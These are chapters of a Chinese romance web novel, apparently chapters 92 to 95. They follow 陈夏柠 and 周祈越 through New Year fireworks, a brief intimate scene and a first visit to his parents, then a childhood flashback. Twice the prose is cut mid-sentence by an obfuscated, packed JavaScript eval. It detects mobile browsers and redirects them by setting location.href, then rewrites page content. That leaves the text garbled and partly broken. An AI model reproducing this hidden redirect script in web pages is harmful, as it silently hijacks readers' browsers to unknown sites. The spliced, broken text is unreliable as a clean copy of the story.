“这不是过年了嘛,过年就是要跟家人团聚啊。”陈夏柠眼角弯了弯,慢条斯理地说,“你平日工作忙很少回家,这两天还是有必要和家人在一起的。” “柠柠。”周祈越的神色也认真,“元旦的时候原本要带你回家的......那过年你愿不愿跟我一起回去?” “我当然愿意去见你家人,但不是现在——”陈夏柠深感为难,说起顾虑,“新闻虽然撤掉了,但我个人还没澄清,想必叔叔阿姨也看见了,我不想这么不清不白地去见他们。即使他们不在意,我也会觉得心里没底。” “况且过年就是要一家人开开心心的,我还是不去打扰叔叔阿姨了。”陈夏柠差点把自己是外人说出来,云淡风轻地笑笑,“我真的没事,你已经陪我很长时间了,也就这两天而已。” 她歪头看他,“你回去和爸妈好好过个年,嗯?” 周祈越一手捏着她指关节,一手捏她柔软的脸,无奈一笑:“我希望明年过年,你已经是我们家的一份子了,堂堂正正,法律承认的亲人,可以么。” 陈夏柠噙着笑,一顿一顿地点头。 傍晚两人吃过晚饭,周祈越便捞起车钥匙,开车驶出海天宜城,整个两手空空地回家了。 原本陈夏柠让他拿点礼品的,他说不用,那是自己家,搞这客套干什么。等走到半路,他想了又想,还是去了趟商场,买了燕窝和阿胶。 “妈,我回来了。” 周祈越正在玄关换鞋,林淑闻声迫不及耐地迎上来,接过他手边的礼品,笑呵呵道:“呀,算你小子有良心。” “我可没良心啊,”周祈越穿好鞋往里面进,闲散道:“这是女朋友的心意。” 林淑跟在他身后,拍了下他肩膀,“臭小子咋这么不懂事,也不把我媳妇带回来过年。” “......” 周祈越永远佩服妈妈变脸的速度,疼得嘶了声:“妈,你比我还上道,人还没过门,就成为媳妇了。” 林淑笑:“我儿子喜欢的就是儿媳妇。” 客厅内,周闻清身着黑色的西服,坐在沙发上耳边贴着手机,一听就是在工作,周祈越收回脚步,转去房间。 还没走两步,周闻清说话向来有威严,“站住。” 周祈越单手抄兜,松松垮垮地站着,也没转身看他。 “怎么舍得回来了?”周闻清放下手机,低叹一声,“你们兄妹俩跟商量好了似的,越长大越不懂事。” 周祈越的反应跟听和尚念经似的,看一眼林淑,原路返回,“妈,告辞。” “......” 林淑连忙把人推回来,笑着打圆场:“你爸逗你呢。” “......” - 楼上的刘阿姨要去女儿家过年,正愁着怎么处理月牙,刚好想起陈夏柠特别喜欢这只猫。 原本也是试探性地问一句,陈夏柠乐此不彼,有只橘猫陪着自己也不错。 除夕早上,陈夏柠起床洗漱,月牙在她脚底下蹭来蹭去,挠痒痒似的,一来一回反倒把人逗笑了。 她趿着拖鞋去厨房,月牙也乖乖地跟她后面,陈夏柠正犯愁吃什么,先给月牙喂一波猫粮。 手机发出叮地一声,有人来提醒她吃饭了。 July:【冰箱里有我包的饺子。】 陈夏柠起身去厨房,在满当当的保鲜箱里找到两袋水饺,上面贴好了标签,分别是三鲜虾仁和素三鲜。 她拍了张照片发过去:【找到啦。】 July:【嗯,新年快乐。】 Lemon:【新年快乐[嘻嘻]】 July:【我妈昨天还怪我没带你回家。】 July:【真不来?】 Lemon:【没事啊,家里增添了新成员,放心,我不孤单。】 陈夏柠发完这条消息,把手机扔桌上,兀自打开锅去煮饺子了。 等锅盖掀开,热气冲天,她盛了一碗,端到餐桌。 再看手机,周祈越发了一连串问号。 July:【新成员???】 July:【跟你一起过年吗?】 陈夏柠挑了下眉,将月牙抱在腿上,指腹按着语音键有模有样地说:“对,我的一个朋友。” “他啊,今年也是一个人,我看他长得可爱,又有几分姿色,就凑个伴了。” 语毕,连忙起身去厨房又盛一碗饺子,放到自己对面,拍了张照片。 嗯,还真像两个人在吃饺子。 点击发送图片,她继续添油加醋:“我朋友说,你包的饺子很好吃。” 下一秒,周祈越也发来语音:“那你朋友是公的还是母的?” “当晚是公的!”陈夏柠一秃噜嘴发送,恍然发觉不对劲。 哪有人问性别,问公的母的? 周祈越把她发的照片重新发过来,左下角标出红圈,猫耳朵露出来了。 陈夏柠:“.......” 她咧咧嘴,低头看了眼怀中安静的橘猫,月牙的蓝色瞳孔亮晶晶,好像在无辜卖可怜道:难道我是你俩play的一环吗? “......” 周祈越打来视频,画面中他正穿着家居服,踩着阶梯下楼。 “是月牙吧,昨天中午碰见刘阿姨,听她随口说,要找邻居照顾一下月牙。找到你了?” 陈夏柠暗自叹气,没意思没意思,每次想逗逗周祈越都失败了。 他这人太聪明了。 “对,刘阿姨去女儿家过年了。”她举起月牙的一只脚打招呼,“月牙可乖了。” 传来椅子拖地的声响,周祈越入座,同样吃着饺子。 陈夏柠正想跟他闲聊天,屏幕闪过一道身影,从他身后走过,顺便拍了下他的头,“儿子,跟谁打电话呢?” 她顿时无措,火速挂断电话。 周祈越:“......” 陈夏柠用手给胸口顺顺气,平复了一会儿心情。 她还是控制不住自己。 萧婷给她造成了阴影,以至于她本能地害怕妈妈这个角色。 虽然不了解周祈越的妈妈,但一想到未来婆婆的角色,也够心生寒栗的。 虽说是过年,白天的氛围和平日相差无两,到了晚上,小区楼下摆满红灯笼,窗外无端闯入烟花。 打开电视,屏幕上各个卫视的春晚和广告都在庆贺着新年,阖家团圆。 这是回国的第一个新年。 果然,她还是喜欢待在国内。至少在这 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奶奶一声吼,隔墙都能听清:“她要是敢跟你顶嘴,你就告诉我,看我不把她整老实!” 柠柠:“......” 看见奶奶捋起袖子要进屋打人的架势,柠柠识时务者为俊杰,赶紧去拉周祈越的手,秒变乖软小白兔,“七月哥哥,我跟你开玩笑的,我可喜欢你教我学习了!” 周祈越:“......” 小小年纪,阳奉阴违可被他俩玩得明明白白了。 此后,奶奶会定期询问她的学习情况,这评价好坏完全取决周祈越的一张嘴。 可恶! 柠柠本想有一个朋友,现在倒好,反倒给自己招来一个老师供着——这位老师挺不好惹,还有大少爷脾气,整天拿鸡毛当令箭。 柠柠心生奸计,总想着要整他一下。 青源镇盛产柠檬,夏季就可丰收。 周末,柠柠跟着奶奶去果园里摘柠檬,周祈越闲来无事也跟来了。 到了晌午,太阳也热,奶奶让他俩找阴凉地歇着。 两人坐在柠檬树下,旁边的柠檬堆成了山,亮亮的黄色,似乎比太阳还耀眼。 柠柠扔给他一颗,“尝尝。” 周祈越摇摇头:“我吃不了酸。” “我家柠檬不酸的,甜甜的。” “真的假的。” 柠柠:“真的!” 她用水果刀切了一颗,咬在嘴里。 周祈越信以为真,一口咬下去,三秒之后,那表情快成撑得上面瘫了。 “呸呸呸!”他往地上吐干净,伸着舌头,“你不觉得酸嘛?” “酸啊,但我习惯了。”柠柠看他这副狗样,为自己报仇了,哈哈大笑:“你像一只狗。” 周祈越伸手戳了下她脑门,“你这只柠檬成精了,柠檬精。” “......”柠柠横眉竖眼:“你说谁柠檬精!” “你啊。”周祈越细品她的名字,娓娓道来,“你叫夏柠,不就是夏天的柠檬么。哦,小柠檬,小柠檬......” 柠柠:“臭七月!你不需叫!” 周祈越继续吐舌头,做鬼脸:“我就叫,我就叫。” “......” 就这样,童年时光在各种吵闹中度过,两人只要在一起就会产生某种化学反应,令周遭的空气跟着沸腾。 什么时候发自内心地觉得周祈越厉害呢? 大概就是自己拿了班级第五名的时候,那是柠柠做梦都不敢有的名次;而周祈越学习能力远超于同龄人,六年级就没上,直接参加小升初考试,拿到本县第一名的好成绩。 但周祈越并没去县里读初中,而是留在青源中学,大概是为了离家近吧,也方便周爷爷周奶奶培养他。 听镇上的人说,周爷爷和周奶奶可厉害了,一个航海家一个作家,他俩留在青源镇是为了安静养老,享受世外桃源的生活。 周祈越读初一,柠柠还在读小学五年级,两人终于不在同一所学校,初中采取封闭式管理,周五下午才能回家,见面的次数随之变少。她应该庆幸,不用天天受他辅导了。 但柠柠已经养成了好习惯,即使没人督促,也会自主学习。 柠柠发现一个道理,当她成绩优异时,班里那些嘲笑她的人就会闭嘴。老师以她为荣,夸赞她。 渐渐地,同学们只记得她是第一名,淡忘那个没爸妈的假小子。 所以在学习上,她不敢懈怠了,相反会趁着周祈越周末在家时,去请教他问题。 周祈越一边调侃太阳打西边出来了,一边吊儿郎当道:“你也定个目标呗,考上青中的重点班。” 柠柠双手托腮,不服输道:“哼,我要超过你。” “可以啊。” 周祈越捏了下她的脸,浅浅一笑:“期待你超过我的那一天。” 柠柠愣一下,盯着他的眼睛,因为这突然的靠近,心跳蓦然加速。 为什么会这样,我是在慌张吗? 93. [锁] [此章节已锁] 电视屏幕里春晚已经开幕,红红火火热闹非凡。 却没有声音传出来。 客厅安静得过分。 陈夏柠盘着腿靠在沙发上,将柠檬片往嘴里送,酸涩盖过了细微的甜。 月牙蹑手蹑脚爬上沙发,往她旁边一窝,撒娇似的叫一声:“喵~” 陈夏柠腾出一只手搭在它头上,口中的酸涩感刺激到泪腺,有想哭的冲动,眼泪又好似榨干一样,流也流不出来。 “月牙,我的亲生父母不要我了,就连奶奶.....七月说,在我失踪后,她也去世了。” “我其实也不太记得清他们的样子了,只记得小时候一个早上,妈妈起床收拾衣服,我迷迷糊糊地睁开眼,问她干什么。她亲了亲我的脸,说,柠柠,妈妈要去趟外婆家,你在家好好听奶奶的话。” “那个早上很早,天都是黑的,我静静地坐在床上,望着妈妈收拾完东西走出门,跟她挥手。” “她以为我什么都不懂,可是我知道,她这一走可能永远都不会回来了,她要把我抛下了。” “......” 月牙舔了舔她的掌心,像在主动安慰,又往她怀里蹭。 陈夏柠垂眸望着这猫,兀自笑了,“我跟你说这些干什么,你一只猫怎么会懂。” 说完又想起什么,“差点忘了,你之前是流浪猫,应该懂一点。” 月牙:“......” 倏忽,月牙从她身上跳下去,飞也似的跑到餐桌旁边,蹭着桌腿想往上爬。 陈夏柠看得莫名,起身走过去,瞧见桌面上自己的手机,因为开了静音,页面显示三个未接来电。 她连忙拨了过去,周祈越语气玩味:“你再不接电话,我就要报警了。” “......刚刚在看春晚。”也就真的是“看”春晚。 “你现在去我房间拿一个东西。” “什么东西?” “你到了我再跟你说。” “好吧。”陈夏柠配合他的神秘,走出家门,去隔壁1301。 到了他卧室,周祈越又说:“你把窗帘拉开。” “哦好。”陈夏柠猜测,他是要送她新年礼物,应该藏在角落里。 他的卧室有个阳台,隔着一面宽敞的落地窗,随着“呲啦”一声,窗帘拉开。 她正低着脖颈,扫视地上哪里有礼物呢。 一阵砰砰的轰鸣声冲破天际,猛然撕破漆黑的夜幕。 陈夏柠缓缓抬眸,眼前的一切漂亮得不真实—— 蓝色烟花绚丽,带来强烈的视觉冲击,好似进入了童话世界,而她身处在一座梦幻城堡。 她站在阳台栏杆前,烟花汇聚在这一片天地,只为她而绽放,拼凑出四个字:新年快乐。 与此同时,耳边传来一道磁性柔和的嗓音:“小柠檬,新年快乐。” 小、柠、檬。 陈夏柠眼眶一热,一滴泪顺着脸颊滑下去。她顺着烟花的方向往下看,底下正是小区的中心广场。 “周七月,你是不是就在下面?” 这么高的楼层完全看不清底下的情况,直觉告诉她,他就在那里站着,也同样望着她的方向。 他浅浅的笑腔被风吹着,从听筒传来:“我在。” “那你先别走,等我。” 说着,陈夏柠转身跑了出去,乘电梯下楼。 现在广场的居民也多,许是宿命感,两人一眼在人海中找到彼此。 小姑娘也不顾平日的什么面子了,径自往他怀里扑。 陈夏柠踮起脚,下巴搁在他肩膀,周祈越也伏低身体,彼此脸颊相贴,带着炙热的温度。 广场又有烟花冲向天际。 两人就这么拥抱着,无需任何言语,感受胸腔起伏的心跳。 明明方才还在暗自伤神,可只要抱住他,所有的不美好皆会烟消云散。 拥有他,就拥有了全世界。 陈夏柠下来得急,身上穿着毛绒睡衣,随便套了件他的黑长袄。 周祈越看见她脚上的兔子棉拖,笑得肩膀发颤,“快点回去。” 陈夏柠勾在他脖颈的手正要放下,忽地,身体被打横抱起,躺在了他怀里。 进入电梯,她一只手挂在他身上,一手摁按钮,转眼看他。 “你怎么又回来了?” 电梯往上升着,周祈越垂眸,玩味一笑,“我回来你不高兴么?” 说着手臂一用力往上举,颠了颠。 “你干什么。”陈夏柠下意识抱紧,随即变脸,推搡着他,“不高兴,你回家陪父母去。” 周祈越手上的力度未收,扯了扯唇角:“回不了了,我被扫地出门了。” “......” “你得收留我。”说着便抱着她去1302。 两人窝在沙发上看春晚。 陈夏柠靠在他肩膀,问事情的来龙去脉。 周祈越懒得破坏氛围,语气悠悠地说:“跟我爸拌嘴了,他让我滚,我就滚回来了。” “......”陈夏柠好笑地看他,“叔叔开玩笑的吧,你当什么真。” “不是开玩笑,我们俩吵架就是动真格的。”周祈越撕了包薯片,跟说一个事不关己的八卦似的,“一旦开战,最好有一方先撤离战场,否则就世界末日了。” 还世界末日,这么夸张的嘛。 陈夏柠咬着他投喂来的薯片,顺势问:“你跟你爸的关系一直都不好么?” “算是吧。” “因为什么呢?” 周祈越:“三观不合,八字犯冲。” 陈夏柠:“......” 她一把拿过薯片,正儿八经瞧他,“你好好说话。” 周祈越正色道:“那已经吵完架了,还能怎么办。” 他手臂一伸,将她搂进怀中,霸道的语气:“你休想赶我走。” “没说要赶你。”陈夏柠不紧不慢地说,“这大过年的,不要伤了和气,你要不退一步,主动跟叔叔服个软?” 周祈越呵笑一声。 陈夏柠看他表情,觉得不大可能了,他那么骄傲的人,怎会拉下面子。 “服软也行,主要是,我爸比较特殊。”周祈越话转急下,陈夏柠眼巴巴地又一脸好奇,他爸是怎么个特殊法。 “——就是得将功补罪。”周祈越满脸写着知父莫如子,简明扼要道:“惹他生气了,那就做一件让他开心的事。” 陈夏柠已经能脑补一点他爸爸的教育理念了,“哦,很容易啊。那你想想之前怎么让他开心的,故技重施一下。” “之前没干过。”周祈越无奈又坦然的表情,“因为他一看见我,就不开心。“ “......”陈夏柠挺想笑,上下打量着他,“你平时在家,得是多讨人嫌。” 两人靠得极近,周祈越稍微往前倾,额头点她一下:“你不嫌弃我就行。” 陈夏柠别过脸,哼哧一声:“我嫌弃。” “......” 话题就这么终止,她专注看着春晚,嘴边的薯片咔呲咔呲响。 因为荧幕上有她喜欢的演员在演小品,陈夏柠两只眼睛恨不得钻进电视里。 似乎忘记旁边还坐着一个人——他彻底被“嫌弃”了。 正当她笑得咯咯叫时,一股强势的力度覆盖下来。 哗啦一声,薯片落地。 男人的大掌握住她两只手腕,举过头顶,用自己的身躯压着她。 她扭动了下四肢,完全被他禁锢在沙发上,“周七月,你干什么......” 周祈越弓着脊柱,跟她额头相抵,灼热的呼吸像恶魔的爪牙侵袭,说话的语气很不爽。 “说说,嫌弃我哪?” 陈夏柠:“......” 她这姿势实在被动,要是不说点好话,后果可想而知了,于是急忙找补:“就开个玩笑,你当什么真啊。” 周祈越仍是不满,继续挑刺,咬重后两字:“我发现,你最近对我,缺乏激情。” “......”陈夏柠垂眸,因为他靠得太近,大脑宕机,磕磕巴巴道:“最近.....太忙了而已。” 周祈越的唇在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232818|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳边游走,嗓音低哑:“那现在你忙么?” 陈夏柠:“还行。” 被你这么压着,我能忙什么?! 周祈越嗅到她身上的香味,情不自禁地轻咬她耳廓,“我又硬了怎么办?” “......” 陈夏柠唇线抿直,稍微别过脸,很想说,活该,谁让你靠得那么近,难受了吧。 但话到喉咙又变成了,“那我再帮你一下。” “那怎么好意思呢。”周祈越语调悠悠地,右手放在她睡衣的衣摆处,缓缓掀开,探进去,“不能每次都麻烦你,是不。” 他指尖带着点冰度,触及到肚子时,陈夏柠不禁瑟缩了一下,而后他的手辗转往上,粗粝的指腹划过她细腻的皮肤,又引起一番痒意。 “你那中药不是喝完了么?”周祈越边从她的下巴顺着脖子往下亲,同时,手上的动作继续着。 其实也就这两天开始断药了,陈夏柠都没来得及告诉他,不知他怎么发现的。不过她现在没心思思考这些。 陈夏柠浑身僵直,老实巴交地说:“我在手机上跟医生联系了,她说年后让我找她去把个脉,然后再......” 他亲一下停一下,陈夏柠的心跳格外剧烈,头皮发麻。 周祈越喘息得厉害,放缓节奏,接话茬:“然后再什么?” 陈夏柠的思绪转回:“再确定需不需要下个疗程。” 意思是,可能还要继续喝中药。 只要是疗程间,医生都不建议有性生活的。 闻言,周祈越勾在她裤腰的手指停住,额头抵着她左肩,埋着脸,也看不清他的表情。 他不动,陈夏柠也不敢动了,悬着一颗心,茫然接下来他要干什么。 良久,似乎听到一声叹息。 只见周祈越猛地从她身上起开,快到她猝不及防,随手把她上衣整理了下。 然后头也不回地留下一句:“我回家洗个澡。” “......” 陈夏柠坐了起来,双手环在后背扣内衣,后知后觉脑补出周祈越的表情。 应该是意犹未尽,到嘴的肥肉不翼而飞的那种感觉。 她唇角弯了弯,一个人傻笑着。 不料一抬头,看见藏在沙发扶手后面的猫尾巴。 月牙也察觉到她的视线,悄悄探出头来。 陈夏柠:“......” 不是吧! 这只猫,它刚刚在,视奸! 陈夏柠睡衣扣都没扣好,连忙跑向卧室去了。 过了一会儿,客厅的手机铃声响个不停,这才把她喊出来。 是周祈越的手机。 来电显示:妈妈。 陈夏柠顿感手机烫手了,有了上次接他电话的教训,这次理智了许多,冲到他家还手机。 周祈越拉开浴室的门,场景一如初次进入他家,男人穿着黑裤子,上半身赤裸着,手上拎着件上衣。 刚走出浴室一步,一扭头对上她的眼。 陈夏柠:“......” 他为什么,每次不穿好衣服再出来! 陈夏柠反应极快,把他手机递上前,完全没有乱看。 “你有电话,我来送手机。” 偏偏响了一路的铃声,在看见他的那一秒,便消了音。 为了证明自己不是故意来看美男出浴,陈夏柠举着手机急忙说:“你妈妈打来的。” 周祈越看她躲闪的眼神,也没继续逗她,抖平上衣,先伸出右手穿上袖子,“打回去。” 陈夏柠照做将电话拨了回去,抬眼看他穿衣服,瞳孔一滞。 “七月,我还没问你,这个伤是怎么弄的啊?” 这才注意到,她的视线定在了他左肩,眼底晦暗不明。 周祈越快速把衣服穿好,遮挡住那道疤痕,“没什么,我不小心弄的。” 话音刚落,电话接通,陈夏柠还在拿着手机。 林淑直奔主题:“儿子,你爸说了,只要你能把女朋友带回家,就算你将功补罪了。” “......” 94. 年夜饭 大年初一,天气暖洋洋,已经有了回春的感觉。 两人手牵手从楼栋里出来,去地下车库提车,陈夏柠脚步一停,看了眼自身的装扮,说着就要逃回去。 “我觉得还是那件红色的棉袄更适合见家长。” 周祈越硬生生把人拉回来,无奈笑着:“你都已经换了三小时的衣服了,再换三小时,今天上午就没了。” “......” 陈夏柠稍微嘟了下唇,说话带着点情绪:“那我不是想给叔叔阿姨,留个好印象嘛。” 昨晚周祈越问她想不想回,她一股脑热地觉得,这是迟早的事,便爽快答应了。 然后在网上搜索了下过年回男朋友家穿什么的话题,不搜还好,结果蹦出来一堆网友的吐槽贴,反正各种注意事项,着实把人搞焦虑了。 早饭也没好好吃,光顾着在房间里试衣服,每试一套,周祈越在旁边帮她参谋着。 说是参谋,结果周祈越又变成点头娃娃,只会说:“嗯,好,不错。” “......” 想到这,陈夏柠莫名来气,甩开他的手,“要你有什么用,一点意见都给不了。” “......” 周祈越眉梢微扬,对她这反应,暗自感叹——有进步啊,越来越会跟他撒娇发脾气了。 他重新牵起她两只手,有模有样地打量着她,粉色毛呢大衣搭配白裤,乌黑的长发披散着。 “端庄又不失活泼,妆容清新不浮夸,”周祈越一脸认真,给出评价,“长辈绝对喜欢。” 陈夏柠瞬间收敛了几分焦虑,“真的?” “真的。”周祈越眨了下眼,似是没耐心跟她耗在这了,胳膊架在她肩膀,把人拖走,“你今天就算穿成非主流,我爸妈也喜欢。” “......” 坐上车后,陈夏柠听着舒缓的音乐,心里那点紧张得以舒缓。 差不多走到半路,周祈越倏然开口跟她说自己家里的情况,妹妹目前在国外读书,一笔带过,家里的父母,说的比较多。 “我妈脾气挺好的,平时挺关心我,也爱瞎操心。” 周祈越不觉得陈夏柠见到妈妈会感受到压力,但一想起那个跟自己不对付的爸爸,提前打好预防针,“我爸呢,你别跟他一般见识就行,他说什么话当耳旁风就好。” “......” “反正咱俩结婚后,也不跟他们一起住,这点你也不用担心。” 陈夏柠竖着耳朵听讲,已经有了他俩明天就结婚的感觉。那颗好不容易放下的心又提了上去,严肃地看他:“你爸爸,真有那么难相处吗?还是就你俩不合所以觉得难相处?” 这么一问,周祈越也犹豫了,他和父亲最大的矛盾在于,周闻清早就为他规划好了一切,高考报志愿的时候,让他学工商管理类专业,方便以后继承公司。 可周祈越根本不想按照他的规划走,于是自作主张地报了航海技术。 周闻清气得大发雷霆:“你知不知道当海员有多辛苦多危险,放着集团里的CEO不当,去船上风吹日晒,你是不是疯了?!” “我看疯的人是你。”周祈越哂笑一声,没什么情绪地说,“你整天把公司看得比命还重要,我的成长你参与过吗,我想要什么你真的知道吗?” 周闻清眉心皱起,对于儿子,心里确实有愧疚,所以想把自己的一生的心血交付于周祈越。 “你还太年轻,等你出了社会,你就会明白我现在的良苦用心。你是我儿子,我不会害你。” 亦或者是两辈人之间有代沟,谁都认为自己是对的。 可周祈越深知自己不是年少气盛,虽然比同学小一岁,但他一直都很清晰地明白自己想要什么,也愿意为自己的选择买单。 “我以后不会花你一分钱,也不需要你为我铺什么路。”周祈越极为认真看着父亲,谈起条件,“我不想当什么上远集团的继承人,也不喜欢跟那些商人打交道。” “我想按照我喜欢的方式,过我想要的人生。” 十七岁的少年说起这些理想主义的话,周闻清只能暗自感叹,他太年轻了,迟早有一天,他会屈服于现实,然后来找他低头认错。 哪曾想,二十七岁的周祈越依旧没向父亲屈服。反而在这十年间,一步步从小船员,升为三副、二副、大副、直到成为船长。 且不说,从一个实习生晋升船长,普通人最快也得十年往上。 国产大型邮轮迎都号,这是业内无数人挤破了头皮都想去任职的地方。 他毕业五年就做到了。 陈夏柠定定地望着眼前的这个男人,像是重新认识了一下周祈越,油然而生地佩服,又与有荣焉他是她的男朋友。 他不一样,真的很不一样。 跟她认识的所有豪门子弟都不一样。 更甚至者说,不应该把他跟那些人相提并论。 - 车子驶入别墅院内,两人下车,陈夏柠跟他去后备箱拿礼品。 还没往屋里进,一位中年妇女跑了出来,她身着奶黄色卫衣和阔腿裤,头发用簪子挽起,给人的形象朴素又有年轻气息。 周祈牵着她的手,跟林淑介绍:“妈,这位是柠柠。” 陈夏柠先是愣了一下,忙不迭颔首:“阿姨您好。” 林淑一个劲点头说好,笑容露出了白牙,像个孩子似的。 “来,别站着了,进屋。”林淑热情地牵起她的左手,带她进去,“柠柠,我跟你叔叔正在准备午饭呢,咱补一补昨晚的年夜饭。” “好啊。”陈夏柠被她牵着,回头看了眼周祈越。 他两手拎着两大礼盒,快步跟上来。 这偌大的别墅,都没个管家佣人么? 正纳闷着,林淑带她进客厅坐着,话题没冷场过。 “这过年了,我就让保姆回家了,省得他们在这,我们一家团圆不自在。” 陈夏柠点头附和:“原来是这样啊,那一家人亲自动手做饭也蛮温馨的。” 林淑笑:“对对对,柠柠跟我想一块了。” 周祈越把礼品放到客厅角落里,走过来给两人倒茶,林淑扫一眼那礼品,拍了拍陈夏柠的手,“你这孩子咋这么客气,昨晚买了燕窝和阿胶,今天怎么又买一堆东西了,以后不许破费了哈。” 陈夏柠神色稍怔,瞥了眼左边喝茶的周祈越。 就在这时,厨房方向传来声音:“让我看看,是谁来了?” 周闻清身上还套着围裙,趿拉着棉拖走过来,陈夏柠又恍惚了下,急忙站起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252158|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来问候:“叔叔好。” 周祈越注意到她这举动,仍旧坐着,也不顾及什么,握住她左手,“你坐下。” 还拉了她一下,谁知根本拉不动。 “......” 周闻清走到沙发边,拍了下手掌的面粉,一眼看见两人的小动作,笑着朝陈夏柠努努下巴,“别跟叔叔客气了,快坐快坐。” 话音落,周祈越这才一把将她拉到原位。 “叔叔好,我叫陈夏柠。”她坐得规规矩矩地,表面看着不怯场。 周祈越却摸到她掌心的汗了,扯了扯唇角,大拇轻揉着她虎口,转口问:“妈,中午吃什么?” 周闻清脸色一横:“就这点出息。” “......”周祈越深感莫名,拿腔拿调道:“大中午不吃饭,干坐着饿肚子啊。” 周闻清斜睨他一眼,目光定在陈夏柠身上,秒变一位慈眉善目的老父亲,语气温柔:“今天你阿姨做了排骨年糕、八宝鸭、油爆河虾、清蒸鲈鱼......柠柠还有没有想吃的,叔叔再跟你加。” 周祈越:“......” 陈夏柠抿唇一笑:“我不挑食的,都可以。” 林淑趁机牵着她起身,“好了不说了,柠柠都饿了,我们一起入座。” 四个围着圆桌入座,满满一桌的饭菜,真就是年夜饭的既视感。 陈夏柠有一种自己在做梦的感觉,第一次有了在家吃饭的感觉。 两夫妻也没让他俩忙活,林淑负责盛汤,周闻清发着筷子,周祈越伸手去接,扑了个空。 周闻清凉凉道:“自己去拿。” 周祈越:“......” 吃饭间,陈夏柠压根伸不了手,林淑和周闻清一个接一个地给她夹菜。 “谢谢阿姨。”她说完这句,又说下句,“谢谢叔叔。” 一小会儿的功夫,她盘子里的菜快成小山堆了。 周祈越胳膊肘支着餐桌,一手用筷子敲了敲碗沿,低眉叹气道:“你们俩是不是忘了还有个儿子了。” 周闻清一记眼刀过来,“坐没坐相,吃没吃相。” 林淑也没好气道:“要吃自己夹。” 周祈越:“......” 陈夏柠憋着笑,继续吃饭。 他们家跟想象的完全不一样,是跟所有豪门家庭不一样。 而是像极了电视剧里寻常的和睦家庭。 到了晚上,林淑自然不愿让她走,家里的客房比较多,但因为很少来客人,也没怎么打扫过,便让陈夏柠住周听也的房间。 周祈越给她找来新被褥,跟她一起在房间铺床铺。 “看来是我想多了,我爸妈很喜欢你。” 陈夏柠轻笑了下,今天算是全方位见识到了周祈越的“家庭地位”。 “叔叔阿姨,今天应该是念在我是客人,才这样的。” “不是,以前我妹在家的时候,他俩也这样。”周祈越把被子铺好,坐在床边,看她一眼,“他俩其实可喜欢女儿了,把我妹宠成了小公主。” 陈夏柠看他表情:“那你会嫉妒么?” “小时候有过,但后来想想,”周祈越摸了摸她的头,勾唇一笑,“我妹就是讨人喜欢,我也觉得她就该被爸妈喜欢着。” 95. 哆啦A梦 在去青源镇之前。 上远集团正值起步阶段,只是国内不起眼的一个小企业,周闻清基本天天不着家。 林淑带着两孩子整天忙成陀螺,因为这俩兄妹实在太活泼了。 一眨眼的功夫,哥哥带着妹妹躲到花园里捉迷藏了,林淑把哥哥安顿好,等把妹妹找到,又发现哥哥不见了。 哥哥和妹妹经常会因为一颗棒棒糖争来争去,妹妹争不过哥哥就大哭。林淑真是一个头两个大,着急上火地冲哥哥发脾气:“周祈越,你身为哥哥,就不能让着妹妹么?” “男子汉大丈夫,不能这么小气!” 妈妈生气的样子可怕极了,小小年纪的周祈越觉得自己犯了天大的错,往后妹妹要什么他都不会争取。 因为他是哥哥,就得树立好榜样,要好好学习。爸妈不在家时,保姆照顾他们,他要陪妹妹玩,不要让她受到伤害。 从一年级开始,周祈越受伤了不哭,也不跟爸妈说,也不主动交朋友。就算有朋友,他也扮演着贴心哥哥的角色,照顾到身边每一个人的心情。 家里的亲戚经常赞不绝口:“林淑啊,你真有福气,一儿一女,儿子聪明又懂事,将来定成大器。妹妹乖巧又可爱,是你的贴心小棉袄。” 听到这句话时,周祈越知礼节地给客人端点心,不禁瞧了一眼妹妹,她躺在妈妈怀里撒娇。 林淑跟逗小猫似的,用苹果派在她眼前晃了晃。 “听听亲一下妈妈,就给你吃。” 周听也当即往林淑脸颊啵了一下,林淑笑得合不拢嘴:“听听真听话。” 瞧着妈妈和妹妹亲昵的样子,周祈越抿唇笑笑,也只有自己知道心里生出了别样的情绪。 那是他得不到的关爱。 客厅里欢声笑语着,他悄然转身回房间,坐在书桌上自顾自地玩弄着船舶模型。 没过一会儿,周听也敲开他的门,手里拿着最大块的苹果派,乐呵呵地举给他:“哥哥,给你,可好吃了。” 周祈越揉着她的头,也没接过手,“听听喜欢吃,就多吃一点。” “不要,我要跟哥哥一起吃。”说着,周听也分他一半。 兄妹俩坐在床沿,乘着窗外的阳光,悠悠地蹬着小腿,一起吃苹果派。 也就是那时候,周祈越陷入了矛盾感,妹妹分走父母的爱,他又没法冷淡妹妹。 确实是,妹妹比他更讨人喜欢。 后来公司愈发忙碌,再加之保姆虐待孩子的新闻频频出现,林淑心有忌惮,辞掉了家里的保姆,可夫妇俩的确顾不了两个孩子。 “要不,让咱爸妈养一个孩子吧。”周闻清思量了许久,跟林淑商量,“我爸妈也退休了,就喜欢在小镇生活,他俩那么有学识,我相信咱的孩子一定会被教育得很好。” 夫妇俩在卧室谈话,周祈越刚好经过门口听见这事,眸色一沉,双腿好似灌满了铅钉在原地。 林淑沉默了几秒:“那你想送走儿子还是女儿?” “哥哥,你在这干嘛呀?”周听也倏然从身后跑过来牵他的手。 也因为这动静,夫妻俩把门打开,盯着偷听的两兄妹,顿感茫然无措。 气氛一阵沉默。 周听也压根不知发生了什么,盈润的眼眸望着爸妈和哥哥。 